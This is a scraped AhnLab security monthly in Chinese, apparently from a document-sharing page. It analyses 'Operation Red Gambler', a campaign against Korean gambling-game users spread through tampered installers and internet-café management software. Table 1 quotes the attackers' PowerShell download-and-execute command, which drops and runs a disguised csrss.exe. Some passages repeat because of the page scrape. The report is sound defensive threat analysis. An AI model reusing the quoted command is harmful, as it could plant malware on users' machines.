AhnLab安全月刊

Size: px

Start display at page:

Download "AhnLab安全月刊"

厚綦童
4 years ago
Views:

2 红色赌徒行动详细分析红色赌徒行动 : 偷看对手的牌在跟踪一些针对韩国组织和大公司进行持续网络攻击的黑客组织时,AhnLab 捕获到特定攻击组织通过韩国内的赌博性游戏分发恶意代码的情况值得注意的是, 这次名为红色赌徒行动 (Operation Red Gambler) 的攻击与以前窃取机密信息为目的的攻击不同, 此攻击为了获取经济收益已将攻击目标扩大到个人用户本文探讨了 AhnLab 安全响应中心 (ASEC) 追踪和分析的红色赌徒行动的主要攻击趋势和攻击方法, 并探讨了其攻击目标的变化自 2009 年 7 月发起 DDoS 攻击以来, 针对韩国国内的网络攻击被认为与特定国家有关, 相关的黑客组织一直在以政治目的对全世界进行各种攻击在早期, 攻击的主要目的是通过系统破坏造成社会混乱和窃取国际机密数据然而, 从 2016 年下半年开始, 着重于获取经济收益为目的的攻击显著增加例如,2016 年 10 月至 2017 年 8 月期间, 针对韩国赌博游戏用户的红色赌徒行动就是一个例子那他们为什么要扩大攻击范围呢? 2

红色赌徒行动的攻击目标红色赌徒行动将韩国内 GoStop 和扑克类赌博性游戏的用户作为主要攻击目标, 目的是通过窃取用户的游戏信息获得经济收益 GoStop 和扑克等赌博性网页游戏长期以来一直是许多攻击者的目标, 因为它可以通过诸如非法货币兑换商之类的各种途径将用户通过游戏获得的游戏币兑换成现金在韩国发行的游戏必须首先由游戏管理委员会进行等级分类但是,

3 红色赌徒行动的攻击目标红色赌徒行动将韩国内 GoStop 和扑克类赌博性游戏的用户作为主要攻击目标, 目的是通过窃取用户的游戏信息获得经济收益 GoStop 和扑克等赌博性网页游戏长期以来一直是许多攻击者的目标, 因为它可以通过诸如非法货币兑换商之类的各种途径将用户通过游戏获得的游戏币兑换成现金在韩国发行的游戏必须首先由游戏管理委员会进行等级分类但是, 一些赌博性游戏在获得正常评级后使用简便方法来更改游戏内容如果日后修改的游戏内容被揭发并取消注册, 则经过一段时间之后更改商标来继续运营游戏如此, 韩国的 GoStop 和扑克类赌博性游戏市场具有定期更改商标的特征, 并证实到红色赌徒行动攻击组也定期更新攻击目标攻击时间线图 1 是红色赌徒行动的攻击时间线 AhnLab 对该攻击组最初的攻击方法进行分析并证实, 与传统的针对赌博性游戏的组织的典型攻击方法存在差异图 1 红色赌徒行动的攻击时间线红色赌徒行动攻击组制作的恶意代码于 2016 年 10 月首次发现, 当时攻击目标是使用实用程序的不特定数量的用户直到同年 12 月, 通过实用程序的官方网站继续发布恶意代码, 并且根据各实用程序的类型定期进行攻击 2017 年 1 月, 红色赌徒行动攻击重新开始, 但与第一次攻击不同, 这次网吧成为了它的新的攻击目标可以推定, 由于针对不特定多数量的先前攻击效果不足, 因此将攻击目标改为网吧, 可通过少量管理服务器来控制大量客户端此攻击持续到 2017 年 8 月 3

图 2 按传播时期的受感染计算机数量统计如图 2 所示, 随着攻击组在 2017 年将攻击目标改为网吧, 被恶意代码感染的计算机的数量急速增加红色赌徒行动的攻击方式红色赌徒行动以两种方式分发恶意代码以进行有效攻击, 例如篡改实用软件的安装文件和伪造网吧管理程序等 1) 篡改实用软件的安装文件通过实用软件进行的攻击活动首次发现于 2016 年

4 图 2 按传播时期的受感染计算机数量统计如图 2 所示, 随着攻击组在 2017 年将攻击目标改为网吧, 被恶意代码感染的计算机的数量急速增加红色赌徒行动的攻击方式红色赌徒行动以两种方式分发恶意代码以进行有效攻击, 例如篡改实用软件的安装文件和伪造网吧管理程序等 1) 篡改实用软件的安装文件通过实用软件进行的攻击活动首次发现于 2016 年 10 月攻击的中心被确定为实用程序软件的官方主页, 以及使用了篡改安装文件或篡改下载链接的攻击方法攻击组使用各种实用软件, 从提供虚拟专用网 (VPN) 服务的程序到远程控制程序和系统优化程序作为攻击载体这种类型的攻击特征在于它针对使用实用软件的不特定数量的用户, 而不像通常的针对容易攻击的网吧的其他攻击图 3 通过实用软件的安装文件的攻击方法 4

为了欺骗攻击目标, 将恶意代码和安装文件组合在一起创建篡改的安装文件篡改的安装文件通过两种方式分发一种是, 使用篡改的安装文件替换官方主页上的正常的安装文件 ; 另一种是, 将官方主页上的下载链接地址修改为已上传篡改的安装文件的攻击者的服务器地址当用户单击下载链接地址以安装程序时, 将从攻击者的服务器下载篡改的安装文件攻击组创建了一个下载链接地址, 其字符串类似于正常的下载链接地址,

5 为了欺骗攻击目标, 将恶意代码和安装文件组合在一起创建篡改的安装文件篡改的安装文件通过两种方式分发一种是, 使用篡改的安装文件替换官方主页上的正常的安装文件 ; 另一种是, 将官方主页上的下载链接地址修改为已上传篡改的安装文件的攻击者的服务器地址当用户单击下载链接地址以安装程序时, 将从攻击者的服务器下载篡改的安装文件攻击组创建了一个下载链接地址, 其字符串类似于正常的下载链接地址, 以避免被官方网站管理员和程序用户怀疑此外, 通过在单个服务器上注册多个域名的方式运营服务器, 当连接到服务器以用于文件下载以外的其他目的时, 将其设置为重定向到官方主页 2) 通过网吧管理程序分发通过网吧管理程序的攻击方法于 2017 年上半年得到证实据估计, 攻击组将攻击目标更改为网吧用户, 是因为如上述的针对使用实用程序软件的不特定数量的用户的攻击不是很有效图 4 通过网吧管理程序的攻击方法如图 4 所示, 攻击组利用了一种结构, 其中大量客户端通过少量管理服务器进行控制, 并使用网吧的某些管理程序分发恶意代码命令 cmd.exe /c if not exist c:\users\administrator\appdata\local\temp\csrss.exe powershell (new-object system.net.webclient).downloadfile ( c:\users\administrator\appdata\local\temp\csrss.exe ); (new-object -com shell.application).shellexecute( c:\users\administrator\appdata\local\temp\csrss.exe ) 表 1 传送到网吧客户端的命令 5

6 根据发生攻击的网吧分析分发路径的结果, 确认在网吧客户端中执行了表 1 中所示的命令该命令执行命令提示符并启动 Windows PowerShell PowerShell 主要用于不留文件的无文件攻击技术如果运行脚本而不生成单独的文件, 恶意代码可以在用户不知情的情况下下载并执行到所需的路径虽然我们未找到执行第一个命令的进程, 但可以推测, 攻击组渗透到网吧运营解决方案或管理程序服务器, 并发出命令从先前准备的恶意 URL 下载并执行恶意代码主要攻击技术红色赌徒行动攻击为窃取游戏信息而使用的恶意代码应用了内存黑客攻击技术 GoStop 和扑克类赌博游戏大部分将用户信息保存在内存区域, 攻击者瞄准了这一点由于每个游戏的内存区域不同, 因此用于攻击的代码信息是不同的用于攻击内存的代码的一个共同特征是搜索要攻击的内存区域并将注入游戏频道和游戏厅标题之类的信息传送到 C&C 服务器正在运行的游戏屏幕也被捕获并在加密后传送到 C&C 服务器, 如同之前收集的用户游戏信息用户的游戏信息可通过管理程序监控红色赌徒行动攻击组可能是利用这一点连接到正在运行的游戏厅并偷看对手的牌来进行欺诈赌博虽然游戏名称不同, 但可以确认在内存黑客攻击过程中使用的代码时相同的基于此, 可以假设即使游戏的商标被更改, 游戏客户端也不会有太大变化结果, 由于 GoStop 和扑克类游戏市场具有定期更改商标后继续运营游戏的特殊环境因素, 攻击组不断地创建和分发变种恶意代码攻击组之间的相关性分析根据从 2016 年 10 月至 2017 年 8 月进行的攻击中收集的数据以及过去主要国内网络攻击的分析结果,AhnLab 证实同一攻击组与红色赌徒行动有关 AhnLab 通过调查已查到 2016 年 2 月 I 公司证书泄露 2016 年 4 月国防公司遭受黑客攻击 2016 年 8 月公共机构遭受黑客攻击, 以及 2017 年 3 月的 ATM 黑客攻击使用的恶意代码与用于红色赌徒行动攻击的恶意代码使用了相同的加密 / 解密代码模式最近针对韩国国内的网络攻击正逐步多样化 AhnLab 分析了最近被认为与特定国家相关的黑客组织的攻击趋势, 表面上看起来似乎信息泄露是主要目的, 但实际上, 已经证实有许多尝试利用通过攫取的信息获得经济收益, 如红色赌徒行动在这些攻击组的早期, 攻击目的主要是获取与军事有关的信息然而, 从 2016 年底到最近, 攻击目标正逐渐扩大到网络游戏用户虚拟货币交易所用户和旅行社等尤其是红色赌徒行动攻击, 它利用了韩国国内用户主要使用的实用软件的漏洞或针对网吧等执行攻击从这一点可以看出, 该攻击似乎是基于对韩国国内 IT 情况的高度了解而开展的 6

7 如此, 攻击目标从国家机关和大企业正在扩大到大量个人用户, 预计攻击组将在未来展开更加先进和多样化的攻击以获取更多经济收益为了应对这些变化, 需要更多地关注国家机构和安全公司以及个人用户有关红色赌徒行动的更多信息可以在最近发布的 ASEC 报告中获得此外,ASEC 报告还提供有关过去第二季度陆续登场的 GandCrab 勒索软件变体的特征和查杀开关的详细信息 7

8 cn.ahnlab.com 关于 AhnLab Ahnlab 的尖端技术和服务不断满足当今世界日新月异的安全需求, 确保我们客户的业务连续性, 并致力于为所有客户打造一个安全的计算环境我们提供全方位的安全阵容, 包括经过证实的适用于桌面和服务器的世界级防病毒产品移动安全产品网上交易安全产品网络安全设备以及咨询服务 AhnLab 已经牢固地确立了其市场地位, 其销售伙伴遍布全球许多国家和地区北京市朝阳区望京阜通东大街 1 号望京 SOHO 塔 2 B 座室上海市闵行区万源路 2158 号 18 幢泓毅大厦 1201 室电话 : ( 北京 ) / ( 上海 ) cn.sales@ahnlab.com 2018 AhnLab, Inc. All rights reserved.

AhnLab安全月刊

AhnLab安全月刊 2016.11 Vol. 48 PowerShell 恶意软件基于 PowerShell 的恶意软件分析解密传播勒索软件的 PowerShell 恶意软件今年出现了大量的利用 PowerShell 传播勒索软件的恶意软件 PowerShell 是一个强大的命令行工具, 是微软公司为 Windows 环境开发的脚本语言技术,Windows Vista 以后版本默认内置 PowerShell PowerShell